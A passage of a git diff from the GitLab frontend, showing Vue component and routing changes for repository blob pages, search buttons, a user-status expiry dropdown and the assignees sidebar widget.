-import { GlLink } from '@gitlab/ui';
-
-export default {
- components: {
- GlLink,
- },
- props: {
- path: {
- type: String,
- required: true,
- },
- text: {
- type: String,
- required: true,
- },
- cssClass: {
- type: String,
- required: false,
- default: null,
- },
- },
-};
-</script>
-
-<template>
- <gl-link :href="path" :class="cssClass" class="btn gl-button">{{ text }}</gl-link>
-</template>
diff --git a/app/assets/javascripts/repository/components/upload_blob_modal.vue b/app/assets/javascripts/repository/components/upload_blob_modal.vue
index ec7ba469ca0..d2ff01e7fc1 100644
--- a/app/assets/javascripts/repository/components/upload_blob_modal.vue
+++ b/app/assets/javascripts/repository/components/upload_blob_modal.vue
@@ -168,6 +168,7 @@ export default {
});
},
},
+ validFileMimetypes: [],
};
</script>
<template>
@@ -179,7 +180,12 @@ export default {
:action-cancel="cancelOptions"
@primary.prevent="uploadFile"
>
- <upload-dropzone class="gl-h-200! gl-mb-4" single-file-selection @change="setFile">
+ <upload-dropzone
+ class="gl-h-200! gl-mb-4"
+ single-file-selection
+ :valid-file-mimetypes="$options.validFileMimetypes"
+ @change="setFile"
+ >
<div
v-if="file"
class="card upload-dropzone-card upload-dropzone-border gl-w-full gl-h-full gl-align-items-center gl-justify-content-center gl-p-3"
diff --git a/app/assets/javascripts/repository/index.js b/app/assets/javascripts/repository/index.js
index e6969b7c8b2..3a9a2adb417 100644
--- a/app/assets/javascripts/repository/index.js
+++ b/app/assets/javascripts/repository/index.js
@@ -1,14 +1,18 @@
import { GlButton } from '@gitlab/ui';
import Vue from 'vue';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import { escapeFileUrl } from '~/lib/utils/url_utility';
+import { __ } from '~/locale';
import initWebIdeLink from '~/pages/projects/shared/web_ide_link';
-import { parseBoolean } from '../lib/utils/common_utils';
-import { escapeFileUrl } from '../lib/utils/url_utility';
-import { __ } from '../locale';
import App from './components/app.vue';
import Breadcrumbs from './components/breadcrumbs.vue';
import DirectoryDownloadLinks from './components/directory_download_links.vue';
import LastCommit from './components/last_commit.vue';
import apolloProvider from './graphql';
+import commitsQuery from './queries/commits.query.graphql';
+import projectPathQuery from './queries/project_path.query.graphql';
+import projectShortPathQuery from './queries/project_short_path.query.graphql';
+import refsQuery from './queries/ref.query.graphql';
import createRouter from './router';
import { updateFormAction } from './utils/dom';
import { setTitle } from './utils/title';
@@ -19,13 +23,32 @@ export default function setupVueRepositoryList() {
const { projectPath, projectShortPath, ref, escapedRef, fullName } = dataset;
const router = createRouter(projectPath, escapedRef);
- apolloProvider.clients.defaultClient.cache.writeData({
+ apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: commitsQuery,
+ data: {
+ commits: [],
+ },
+ });
+
+ apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: projectPathQuery,
data: {
projectPath,
+ },
+ });
+
+ apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: projectShortPathQuery,
+ data: {
projectShortPath,
+ },
+ });
+
+ apolloProvider.clients.defaultClient.cache.writeQuery({
+ query: refsQuery,
+ data: {
ref,
escapedRef,
- commits: [],
},
});
@@ -55,6 +78,8 @@ export default function setupVueRepositoryList() {
const {
canCollaborate,
canEditTree,
+ canPushCode,
+ selectedBranch,
newBranchPath,
newTagPath,
newBlobPath,
@@ -65,8 +90,7 @@ export default function setupVueRepositoryList() {
newDirPath,
} = breadcrumbEl.dataset;
- router.afterEach(({ params: { path = '/' } }) => {
- updateFormAction('.js-upload-blob-form', uploadPath, path);
+ router.afterEach(({ params: { path } }) => {
updateFormAction('.js-create-dir-form', newDirPath, path);
});
@@ -81,12 +105,16 @@ export default function setupVueRepositoryList() {
currentPath: this.$route.params.path,
canCollaborate: parseBoolean(canCollaborate),
canEditTree: parseBoolean(canEditTree),
+ canPushCode: parseBoolean(canPushCode),
+ originalBranch: ref,
+ selectedBranch,
newBranchPath,
newTagPath,
newBlobPath,
forkNewBlobPath,
forkNewDirectoryPath,
forkUploadBlobPath,
+ uploadPath,
},
});
},
diff --git a/app/assets/javascripts/repository/pages/blob.vue b/app/assets/javascripts/repository/pages/blob.vue
new file mode 100644
index 00000000000..27af398be09
--- /dev/null
+++ b/app/assets/javascripts/repository/pages/blob.vue
@@ -0,0 +1,22 @@
+<script>
+// This file is in progress and behind a feature flag, please see the following issue for more:
+// https://gitlab.com/gitlab-org/gitlab/-/issues/323200
+
+import BlobContentViewer from '../components/blob_content_viewer.vue';
+
+export default {
+ components: {
+ BlobContentViewer,
+ },
+ props: {
+ path: {
+ type: String,
+ required: true,
+ },
+ },
+};
+</script>
+
+<template>
+ <blob-content-viewer :path="path" />
+</template>
diff --git a/app/assets/javascripts/repository/queries/blob_info.query.graphql b/app/assets/javascripts/repository/queries/blob_info.query.graphql
new file mode 100644
index 00000000000..e0bbf12f3eb
--- /dev/null
+++ b/app/assets/javascripts/repository/queries/blob_info.query.graphql
@@ -0,0 +1,30 @@
+query getBlobInfo($projectPath: ID!, $filePath: String!) {
+ project(fullPath: $projectPath) {
+ id
+ repository {
+ blobs(path: $filePath) {
+ name
+ size
+ rawBlob
+ type
+ fileType
+ tooLarge
+ path
+ editBlobPath
+ ideEditPath
+ storedExternally
+ rawPath
+ externalStorageUrl
+ replacePath
+ deletePath
+ canLock
+ isLocked
+ lockLink
+ canModifyBlob
+ forkPath
+ simpleViewer
+ richViewer
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/repository/router.js b/app/assets/javascripts/repository/router.js
index ad6e32d7055..c7f7451fb55 100644
--- a/app/assets/javascripts/repository/router.js
+++ b/app/assets/javascripts/repository/router.js
@@ -2,6 +2,7 @@ import { escapeRegExp } from 'lodash';
import Vue from 'vue';
import VueRouter from 'vue-router';
import { joinPaths } from '../lib/utils/url_utility';
+import BlobPage from './pages/blob.vue';
import IndexPage from './pages/index.vue';
import TreePage from './pages/tree.vue';
@@ -15,6 +16,13 @@ export default function createRouter(base, baseRef) {
}),
};
+ const blobPathRoute = {
+ component: BlobPage,
+ props: (route) => ({
+ path: route.params.path,
+ }),
+ };
+
return new VueRouter({
mode: 'history',
base: joinPaths(gon.relative_url_root || '', base),
@@ -32,6 +40,18 @@ export default function createRouter(base, baseRef) {
...treePathRoute,
},
{
+ name: 'blobPathDecoded',
+ // Sometimes the ref needs decoding depending on how the backend sends it to us
+ path: `(/-)?/blob/${decodeURI(baseRef)}/:path*`,
+ ...blobPathRoute,
+ },
+ {
+ name: 'blobPath',
+ // Support without decoding as well just in case the ref doesn't need to be decoded
+ path: `(/-)?/blob/${escapeRegExp(baseRef)}/:path*`,
+ ...blobPathRoute,
+ },
+ {
path: '/',
name: 'projectRoot',
component: IndexPage,
diff --git a/app/assets/javascripts/runner/runner_details/constants.js b/app/assets/javascripts/runner/runner_details/constants.js
new file mode 100644
index 00000000000..bb57e85fa8a
--- /dev/null
+++ b/app/assets/javascripts/runner/runner_details/constants.js
@@ -0,0 +1,3 @@
+import { s__ } from '~/locale';
+
+export const I18N_TITLE = s__('Runners|Runner #%{runner_id}');
diff --git a/app/assets/javascripts/runner/runner_details/index.js b/app/assets/javascripts/runner/runner_details/index.js
new file mode 100644
index 00000000000..cbf70640ef7
--- /dev/null
+++ b/app/assets/javascripts/runner/runner_details/index.js
@@ -0,0 +1,23 @@
+import Vue from 'vue';
+import RunnerDetailsApp from './runner_details_app.vue';
+
+export const initRunnerDetail = (selector = '#js-runner-detail') => {
+ const el = document.querySelector(selector);
+
+ if (!el) {
+ return null;
+ }
+
+ const { runnerId } = el.dataset;
+
+ return new Vue({
+ el,
+ render(h) {
+ return h(RunnerDetailsApp, {
+ props: {
+ runnerId,
+ },
+ });
+ },
+ });
+};
diff --git a/app/assets/javascripts/runner/runner_details/runner_details_app.vue b/app/assets/javascripts/runner/runner_details/runner_details_app.vue
new file mode 100644
index 00000000000..1b1485bfe72
--- /dev/null
+++ b/app/assets/javascripts/runner/runner_details/runner_details_app.vue
@@ -0,0 +1,20 @@
+<script>
+import { I18N_TITLE } from './constants';
+
+export default {
+ i18n: {
+ I18N_TITLE,
+ },
+ props: {
+ runnerId: {
+ type: String,
+ required: true,
+ },
+ },
+};
+</script>
+<template>
+ <h2 class="page-title">
+ {{ sprintf($options.i18n.I18N_TITLE, { runner_id: runnerId }) }}
+ </h2>
+</template>
diff --git a/app/assets/javascripts/search/sidebar/components/app.vue b/app/assets/javascripts/search/sidebar/components/app.vue
index 4640259314b..99cf16c8350 100644
--- a/app/assets/javascripts/search/sidebar/components/app.vue
+++ b/app/assets/javascripts/search/sidebar/components/app.vue
@@ -32,7 +32,9 @@ export default {
<status-filter />
<confidentiality-filter />
<div class="gl-display-flex gl-align-items-center gl-mt-3">
- <gl-button variant="success" type="submit">{{ __('Apply') }}</gl-button>
+ <gl-button category="primary" variant="confirm" size="small" type="submit">
+ {{ __('Apply') }}
+ </gl-button>
<gl-link v-if="showReset" class="gl-ml-auto" @click="resetQuery">{{
__('Reset filters')
}}</gl-link>
diff --git a/app/assets/javascripts/search/sort/components/app.vue b/app/assets/javascripts/search/sort/components/app.vue
index e4eba655e39..2bf144705c4 100644
--- a/app/assets/javascripts/search/sort/components/app.vue
+++ b/app/assets/javascripts/search/sort/components/app.vue
@@ -96,6 +96,7 @@ export default {
v-gl-tooltip
:disabled="!selectedSortOption.sortable"
:title="sortDirectionData.tooltip"
+ :aria-label="sortDirectionData.tooltip"
:icon="sortDirectionData.icon"
@click="handleSortDirectionChange"
/>
diff --git a/app/assets/javascripts/search/topbar/components/app.vue b/app/assets/javascripts/search/topbar/components/app.vue
index 987735ed811..2439ab55923 100644
--- a/app/assets/javascripts/search/topbar/components/app.vue
+++ b/app/assets/javascripts/search/topbar/components/app.vue
@@ -65,9 +65,9 @@ export default {
<label class="gl-display-block">{{ __('Project') }}</label>
<project-filter :initial-data="projectInitialData" />
</div>
- <gl-button class="btn-search gl-lg-ml-2" variant="success" type="submit">{{
- __('Search')
- }}</gl-button>
+ <gl-button class="btn-search gl-lg-ml-2" category="primary" variant="confirm" type="submit"
+ >{{ __('Search') }}
+ </gl-button>
</section>
</gl-form>
</template>
diff --git a/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue b/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue
index 5fb7217db74..d16850cd889 100644
--- a/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue
+++ b/app/assets/javascripts/search/topbar/components/searchable_dropdown.vue
@@ -9,10 +9,13 @@ import {
GlSkeletonLoader,
GlTooltipDirective,
} from '@gitlab/ui';
-
+import { __ } from '~/locale';
import { ANY_OPTION } from '../constants';
export default {
+ i18n: {
+ clearLabel: __('Clear'),
+ },
name: 'SearchableDropdown',
components: {
GlDropdown,
@@ -96,7 +99,8 @@ export default {
v-gl-tooltip
name="clear"
category="tertiary"
- :title="__('Clear')"
+ :title="$options.i18n.clearLabel"
+ :aria-label="$options.i18n.clearLabel"
class="gl-p-0! gl-mr-2"
@keydown.enter.stop="resetDropdown"
@click.stop="resetDropdown"
diff --git a/app/assets/javascripts/search_settings/constants.js b/app/assets/javascripts/search_settings/constants.js
index 499e42854ed..9452d149122 100644
--- a/app/assets/javascripts/search_settings/constants.js
+++ b/app/assets/javascripts/search_settings/constants.js
@@ -5,7 +5,7 @@ export const EXCLUDED_NODES = ['OPTION'];
export const HIDE_CLASS = 'gl-display-none';
// used to highlight the text that matches the * search term
-export const HIGHLIGHT_CLASS = 'gl-bg-orange-50';
+export const HIGHLIGHT_CLASS = 'gl-bg-orange-100';
// How many seconds to wait until the user * stops typing
export const TYPING_DELAY = 400;
diff --git a/app/assets/javascripts/security_configuration/components/manage_sast.vue b/app/assets/javascripts/security_configuration/components/manage_sast.vue
index a2528edd914..8a8827b41cd 100644
--- a/app/assets/javascripts/security_configuration/components/manage_sast.vue
+++ b/app/assets/javascripts/security_configuration/components/manage_sast.vue
@@ -54,6 +54,6 @@ export default {
<template>
<gl-button :loading="isLoading" variant="success" category="secondary" @click="mutate">{{
- s__('SecurityConfiguration|Configure via Merge Request')
+ s__('SecurityConfiguration|Configure via merge request')
}}</gl-button>
</template>
diff --git a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
index bed264341a5..bff90254c04 100644
--- a/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
+++ b/app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue
@@ -1,14 +1,23 @@
<script>
/* eslint-disable vue/no-v-html */
-import { GlToast, GlModal, GlTooltipDirective, GlIcon, GlFormCheckbox } from '@gitlab/ui';
+import {
+ GlToast,
+ GlModal,
+ GlTooltipDirective,
+ GlIcon,
+ GlFormCheckbox,
+ GlDropdown,
+ GlDropdownItem,
+} from '@gitlab/ui';
import $ from 'jquery';
import Vue from 'vue';
import GfmAutoComplete from 'ee_else_ce/gfm_auto_complete';
import * as Emoji from '~/emoji';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import { BV_SHOW_MODAL, BV_HIDE_MODAL } from '~/lib/utils/constants';
-import { __, s__ } from '~/locale';
+import { __, s__, sprintf } from '~/locale';
import { updateUserStatus } from '~/rest_api';
+import { timeRanges } from '~/vue_shared/constants';
import EmojiMenuInModal from './emoji_menu_in_modal';
import { isUserBusy } from './utils';
@@ -20,11 +29,21 @@ export const AVAILABILITY_STATUS = {
Vue.use(GlToast);
+const statusTimeRanges = [
+ {
+ label: __('Never'),
+ name: 'never',
+ },
+ ...timeRanges,
+];
+
export default {
components: {
GlIcon,
GlModal,
GlFormCheckbox,
+ GlDropdown,
+ GlDropdownItem,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -53,6 +72,11 @@ export default {
required: false,
default: false,
},
+ currentClearStatusAfter: {
+ type: String,
+ required: false,
+ default: '',
+ },
},
data() {
return {
@@ -65,6 +89,10 @@ export default {
modalId: 'set-user-status-modal',
noEmoji: true,
availability: isUserBusy(this.currentAvailability),
+ clearStatusAfter: statusTimeRanges[0].label,
+ clearStatusAfterMessage: sprintf(s__('SetStatusModal|Your status resets on %{date}.'), {
+ date: this.currentClearStatusAfter,
+ }),
};
},
computed: {
@@ -161,12 +189,16 @@ export default {
this.setStatus();
},
setStatus() {
- const { emoji, message, availability } = this;
+ const { emoji, message, availability, clearStatusAfter } = this;
updateUserStatus({
emoji,
message,
availability: availability ? AVAILABILITY_STATUS.BUSY : AVAILABILITY_STATUS.NOT_SET,
+ clearStatusAfter:
+ clearStatusAfter === statusTimeRanges[0].label
+ ? null
+ : clearStatusAfter.replace(' ', '_'),
})
.then(this.onUpdateSuccess)
.catch(this.onUpdateFail);
@@ -183,7 +215,11 @@ export default {
this.closeModal();
},
+ setClearStatusAfter(after) {
+ this.clearStatusAfter = after;
+ },
},
+ statusTimeRanges,
};
</script>
@@ -268,10 +304,31 @@ export default {
</div>
<div class="gl-display-flex">
<span class="gl-text-gray-600 gl-ml-5">
- {{ s__('SetStatusModal|"Busy" will be shown next to your name') }}
+ {{ s__('SetStatusModal|A busy indicator is shown next to your name and avatar.') }}
</span>
</div>
</div>
+ <div class="form-group">
+ <div class="gl-display-flex gl-align-items-baseline">
+ <span class="gl-mr-3">{{ s__('SetStatusModal|Clear status after') }}</span>
+ <gl-dropdown :text="clearStatusAfter" data-testid="clear-status-at-dropdown">
+ <gl-dropdown-item
+ v-for="after in $options.statusTimeRanges"
+ :key="after.name"
+ :data-testid="after.name"
+ @click="setClearStatusAfter(after.label)"
+ >{{ after.label }}</gl-dropdown-item
+ >
+ </gl-dropdown>
+ </div>
+ <div
+ v-if="currentClearStatusAfter.length"
+ class="gl-mt-3 gl-text-gray-400 gl-font-sm"
+ data-testid="clear-status-at-message"
+ >
+ {{ clearStatusAfterMessage }}
+ </div>
+ </div>
</div>
</div>
</gl-modal>
diff --git a/app/assets/javascripts/sidebar/components/assignees/assignee_avatar_link.vue b/app/assets/javascripts/sidebar/components/assignees/assignee_avatar_link.vue
index d0a65b48522..98fc0b0a783 100644
--- a/app/assets/javascripts/sidebar/components/assignees/assignee_avatar_link.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/assignee_avatar_link.vue
@@ -103,10 +103,10 @@ export default {
v-gl-tooltip="tooltipOption"
:href="assigneeUrl"
:title="tooltipTitle"
- class="d-inline-block"
+ class="gl-display-inline-block"
>
<!-- use d-flex so that slot can be appropriately styled -->
- <span class="d-flex">
+ <span class="gl-display-flex">
<assignee-avatar :user="user" :img-size="32" :issuable-type="issuableType" />
<slot></slot>
</span>
diff --git a/app/assets/javascripts/sidebar/components/assignees/assignees_realtime.vue b/app/assets/javascripts/sidebar/components/assignees/assignees_realtime.vue
index ca86d6c6c3e..f98798582c1 100644
--- a/app/assets/javascripts/sidebar/components/assignees/assignees_realtime.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/assignees_realtime.vue
@@ -1,7 +1,7 @@
<script>
import actionCable from '~/actioncable_consumer';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import query from '~/issuable_sidebar/queries/issue_sidebar.query.graphql';
+import { assigneesQueries } from '~/sidebar/constants';
export default {
subscription: null,
@@ -9,7 +9,8 @@ export default {
props: {
mediator: {
type: Object,
- required: true,
+ required: false,
+ default: null,
},
issuableIid: {
type: String,
@@ -19,10 +20,16 @@ export default {
type: String,
required: true,
},
+ issuableType: {
+ type: String,
+ required: true,
+ },
},
apollo: {
- project: {
- query,
+ workspace: {
+ query() {
+ return assigneesQueries[this.issuableType].query;
+ },
variables() {
return {
iid: this.issuableIid,
@@ -30,7 +37,9 @@ export default {
};
},
result(data) {
- this.handleFetchResult(data);
+ if (this.mediator) {
+ this.handleFetchResult(data);
+ }
},
},
},
@@ -43,7 +52,7 @@ export default {
methods: {
received(data) {
if (data.event === 'updated') {
- this.$apollo.queries.project.refetch();
+ this.$apollo.queries.workspace.refetch();
}
},
initActionCablePolling() {
@@ -57,7 +66,7 @@ export default {
);
},
handleFetchResult({ data }) {
- const { nodes } = data.project.issue.assignees;
+ const { nodes } = data.workspace.issuable.assignees;
const assignees = nodes.map((n) => ({
...n,
@@ -69,7 +78,7 @@ export default {
},
},
render() {
- return this.$slots.default;
+ return null;
},
};
</script>
diff --git a/app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue b/app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue
index b53b7039018..e93aced12f3 100644
--- a/app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue
@@ -18,6 +18,11 @@ export default {
required: false,
default: 'issue',
},
+ signedIn: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
computed: {
assigneesText() {
@@ -34,20 +39,28 @@ export default {
<div class="gl-display-flex gl-flex-direction-column issuable-assignees">
<div
v-if="emptyUsers"
- class="gl-display-flex gl-align-items-center gl-text-gray-500"
+ class="gl-display-flex gl-align-items-center gl-text-gray-500 gl-mt-2 hide-collapsed"
data-testid="none"
>
- <span> {{ __('None') }} -</span>
- <gl-button
- data-testid="assign-yourself"
- category="tertiary"
- variant="link"
- class="gl-ml-2"
- @click="$emit('assign-self')"
- >
- <span class="gl-text-gray-500 gl-hover-text-blue-800">{{ __('assign yourself') }}</span>
- </gl-button>
+ <span> {{ __('None') }}</span>
+ <template v-if="signedIn">
+ <span class="gl-ml-2">-</span>
+ <gl-button
+ data-testid="assign-yourself"
+ category="tertiary"
+ variant="link"
+ class="gl-ml-2"
+ @click="$emit('assign-self')"
+ >
+ <span class="gl-text-gray-500 gl-hover-text-blue-800">{{ __('assign yourself') }}</span>
+ </gl-button>
+ </template>
</div>
- <uncollapsed-assignee-list v-else :users="users" :issuable-type="issuableType" />
+ <uncollapsed-assignee-list
+ v-else
+ :users="users"
+ :issuable-type="issuableType"
+ class="gl-mt-2 hide-collapsed"
+ />
</div>
</template>
diff --git a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
index 6595debf9a5..e15ea595190 100644
--- a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue
@@ -123,6 +123,7 @@ export default {
v-if="shouldEnableRealtime"
:issuable-iid="issuableIid"
:project-path="projectPath"
+ :issuable-type="issuableType"
:mediator="mediator"
/>
<assignee-title
diff --git a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
index cc2201ad359..78cac989850 100644
--- a/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
+++ b/app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue
@@ -1,26 +1,28 @@
<script>
-import {
- GlDropdownItem,
- GlDropdownDivider,
- GlAvatarLabeled,
- GlAvatarLink,
- GlSearchBoxByType,
- GlLoadingIcon,
-} from '@gitlab/ui';
+import { GlDropdownItem, GlDropdownDivider, GlSearchBoxByType, GlLoadingIcon } from '@gitlab/ui';
import { cloneDeep } from 'lodash';
import Vue from 'vue';
import createFlash from '~/flash';
import searchUsers from '~/graphql_shared/queries/users_search.query.graphql';
import { IssuableType } from '~/issue_show/constants';
import { __, n__ } from '~/locale';
+import SidebarAssigneesRealtime from '~/sidebar/components/assignees/assignees_realtime.vue';
import IssuableAssignees from '~/sidebar/components/assignees/issuable_assignees.vue';
import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
import { assigneesQueries, ASSIGNEES_DEBOUNCE_DELAY } from '~/sidebar/constants';
import MultiSelectDropdown from '~/vue_shared/components/sidebar/multiselect_dropdown.vue';
+import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
+import SidebarInviteMembers from './sidebar_invite_members.vue';
+import SidebarParticipant from './sidebar_participant.vue';
export const assigneesWidget = Vue.observable({
updateAssignees: null,
});
+
+const hideDropdownEvent = new CustomEvent('hiddenGlDropdown', {
+ bubbles: true,
+});
+
export default {
i18n: {
unassigned: __('Unassigned'),
@@ -28,17 +30,26 @@ export default {
assignees: __('Assignees'),
assignTo: __('Assign to'),
},
- assigneesQueries,
components: {
SidebarEditableItem,
IssuableAssignees,
MultiSelectDropdown,
GlDropdownItem,
GlDropdownDivider,
- GlAvatarLabeled,
- GlAvatarLink,
GlSearchBoxByType,
GlLoadingIcon,
+ SidebarInviteMembers,
+ SidebarParticipant,
+ SidebarAssigneesRealtime,
+ },
+ mixins: [glFeatureFlagsMixin()],
+ inject: {
+ directlyInviteMembers: {
+ default: false,
+ },
+ indirectlyInviteMembers: {
+ default: false,
+ },
},
props: {
iid: {
@@ -76,12 +87,13 @@ export default {
selected: [],
isSettingAssignees: false,
isSearching: false,
+ isDirty: false,
};
},
apollo: {
issuable: {
query() {
- return this.$options.assigneesQueries[this.issuableType].query;
+ return assigneesQueries[this.issuableType].query;
},
variables() {
return this.queryVariables;
@@ -109,15 +121,20 @@ export default {
},
update(data) {
const searchResults = data.workspace?.users?.nodes.map(({ user }) => user) || [];
- const mergedSearchResults = this.participants.reduce((acc, current) => {
- if (
- !acc.some((user) => current.username === user.username) &&
- (current.name.includes(this.search) || current.username.includes(this.search))
- ) {
+ const filteredParticipants = this.participants.filter(
+ (user) =>
+ user.name.toLowerCase().includes(this.search.toLowerCase()) ||
+ user.username.toLowerCase().includes(this.search.toLowerCase()),
+ );
+ const mergedSearchResults = searchResults.reduce((acc, current) => {
+ // Some users are duplicated in the query result:
+ // https://gitlab.com/gitlab-org/gitlab/-/issues/327822
+ if (!acc.some((user) => current.username === user.username)) {
acc.push(current);
}
return acc;
- }, searchResults);
+ }, filteredParticipants);
+
return mergedSearchResults;
},
debounce: ASSIGNEES_DEBOUNCE_DELAY,
@@ -134,6 +151,10 @@ export default {
},
},
computed: {
+ shouldEnableRealtime() {
+ // Note: Realtime is only available on issues right now, future support for MR wil be built later.
+ return this.glFeatures.realTimeIssueSidebar && this.issuableType === IssuableType.Issue;
+ },
queryVariables() {
return {
iid: this.iid,
@@ -155,6 +176,9 @@ export default {
},
assigneeText() {
const items = this.$apollo.queries.issuable.loading ? this.initialAssignees : this.selected;
+ if (!items) {
+ return __('Assignee');
+ }
return n__('Assignee', '%d Assignees', items.length);
},
selectedFiltered() {
@@ -197,8 +221,15 @@ export default {
noUsersFound() {
return !this.isSearchEmpty && this.searchUsers.length === 0;
},
+ signedIn() {
+ return this.currentUser.username !== undefined;
+ },
showCurrentUser() {
- return !this.isCurrentUserInParticipants && (this.isSearchEmpty || this.isSearching);
+ return (
+ this.signedIn &&
+ !this.isCurrentUserInParticipants &&
+ (this.isSearchEmpty || this.isSearching)
+ );
},
},
watch: {
@@ -221,7 +252,7 @@ export default {
this.isSettingAssignees = true;
return this.$apollo
.mutate({
- mutation: this.$options.assigneesQueries[this.issuableType].mutation,
+ mutation: assigneesQueries[this.issuableType].mutation,
variables: {
...this.queryVariables,
assigneeUsernames,
@@ -239,20 +270,22 @@ export default {
});
},
selectAssignee(name) {
- if (name === undefined) {
- this.clearSelected();
- return;
- }
+ this.isDirty = true;
if (!this.multipleAssignees) {
- this.selected = [name];
+ this.selected = name ? [name] : [];
this.collapseWidget();
- } else {
- this.selected = this.selected.concat(name);
+ return;
+ }
+ if (name === undefined) {
+ this.clearSelected();
+ return;
}
+ this.selected = this.selected.concat(name);
},
unselect(name) {
this.selected = this.selected.filter((user) => user.username !== name);
+ this.isDirty = true;
if (!this.multipleAssignees) {
this.collapseWidget();
@@ -265,7 +298,9 @@ export default {
this.selected = [];
},
saveAssignees() {
+ this.isDirty = false;
this.updateAssignees(this.selectedUserNames);
+ this.$el.dispatchEvent(hideDropdownEvent);
},
isChecked(id) {
return this.selectedUserNames.includes(id);
@@ -291,6 +326,9 @@ export default {
collapseWidget() {
this.$refs.toggle.collapse();
},
+ expandWidget() {
+ this.$refs.toggle.expand();
+ },
showDivider(list) {
return list.length > 0 && this.isSearchEmpty;
},
@@ -299,121 +337,113 @@ export default {
</script>
<template>
- <div
- v-if="isAssigneesLoading"
- class="gl-display-flex gl-align-items-center assignee"
- data-testid="loading-assignees"
- >
- {{ __('Assignee') }}
- <gl-loading-icon size="sm" class="gl-ml-2" />
- </div>
- <sidebar-editable-item
- v-else
- ref="toggle"
- :loading="isSettingAssignees"
- :title="assigneeText"
- @open="focusSearch"
- @close="saveAssignees"
- >
- <template #collapsed>
- <issuable-assignees
- :users="assignees"
- :issuable-type="issuableType"
- class="gl-mt-2"
- @assign-self="assignSelf"
- />
- </template>
+ <div data-testid="assignees-widget">
+ <sidebar-assignees-realtime
+ v-if="shouldEnableRealtime"
+ :project-path="fullPath"
+ :issuable-iid="iid"
+ :issuable-type="issuableType"
+ />
+ <sidebar-editable-item
+ ref="toggle"
+ :loading="isSettingAssignees"
+ :initial-loading="isAssigneesLoading"
+ :title="assigneeText"
+ :is-dirty="isDirty"
+ @open="focusSearch"
+ @close="saveAssignees"
+ >
+ <template #collapsed>
+ <slot name="collapsed" :users="assignees" :on-click="expandWidget"></slot>
+ <issuable-assignees
+ :users="assignees"
+ :issuable-type="issuableType"
+ :signed-in="signedIn"
+ @assign-self="assignSelf"
+ @expand-widget="expandWidget"
+ />
+ </template>
- <template #default>
- <multi-select-dropdown
- class="gl-w-full dropdown-menu-user"
- :text="$options.i18n.assignees"
- :header-text="$options.i18n.assignTo"
- @toggle="collapseWidget"
- >
- <template #search>
- <gl-search-box-by-type ref="search" v-model.trim="search" />
- </template>
- <template #items>
- <gl-loading-icon
- v-if="$apollo.queries.searchUsers.loading || $apollo.queries.issuable.loading"
- data-testid="loading-participants"
- size="lg"
- />
- <template v-else>
- <template v-if="isSearchEmpty || isSearching">
+ <template #default>
+ <multi-select-dropdown
+ class="gl-w-full dropdown-menu-user"
+ :text="$options.i18n.assignees"
+ :header-text="$options.i18n.assignTo"
+ @toggle="collapseWidget"
+ >
+ <template #search>
+ <gl-search-box-by-type
+ ref="search"
+ v-model.trim="search"
+ class="js-dropdown-input-field"
+ />
+ </template>
+ <template #items>
+ <gl-loading-icon
+ v-if="$apollo.queries.searchUsers.loading || $apollo.queries.issuable.loading"
+ data-testid="loading-participants"
+ size="lg"
+ />
+ <template v-else>
+ <template v-if="isSearchEmpty || isSearching">
+ <gl-dropdown-item
+ :is-checked="selectedIsEmpty"
+ :is-check-centered="true"
+ data-testid="unassign"
+ @click="selectAssignee()"
+ >
+ <span
+ :class="selectedIsEmpty ? 'gl-pl-0' : 'gl-pl-6'"
+ class="gl-font-weight-bold"
+ >{{ $options.i18n.unassigned }}</span
+ ></gl-dropdown-item
+ >
+ </template>
+ <gl-dropdown-divider v-if="showDivider(selectedFiltered)" />
<gl-dropdown-item
- :is-checked="selectedIsEmpty"
+ v-for="item in selectedFiltered"
+ :key="item.id"
+ :is-checked="isChecked(item.username)"
:is-check-centered="true"
- data-testid="unassign"
- @click="selectAssignee()"
+ data-testid="selected-participant"
+ @click.stop="unselect(item.username)"
>
- <span
- :class="selectedIsEmpty ? 'gl-pl-0' : 'gl-pl-6'"
- class="gl-font-weight-bold"
- >{{ $options.i18n.unassigned }}</span
- ></gl-dropdown-item
+ <sidebar-participant :user="item" />
+ </gl-dropdown-item>
+ <template v-if="showCurrentUser">
+ <gl-dropdown-divider />
+ <gl-dropdown-item
+ data-testid="current-user"
+ @click.stop="selectAssignee(currentUser)"
+ >
+ <sidebar-participant :user="currentUser" class="gl-pl-6!" />
+ </gl-dropdown-item>
+ </template>
+ <gl-dropdown-divider v-if="showDivider(unselectedFiltered)" />
+ <gl-dropdown-item
+ v-for="unselectedUser in unselectedFiltered"
+ :key="unselectedUser.id"
+ data-testid="unselected-participant"
+ @click="selectAssignee(unselectedUser)"
>
- </template>
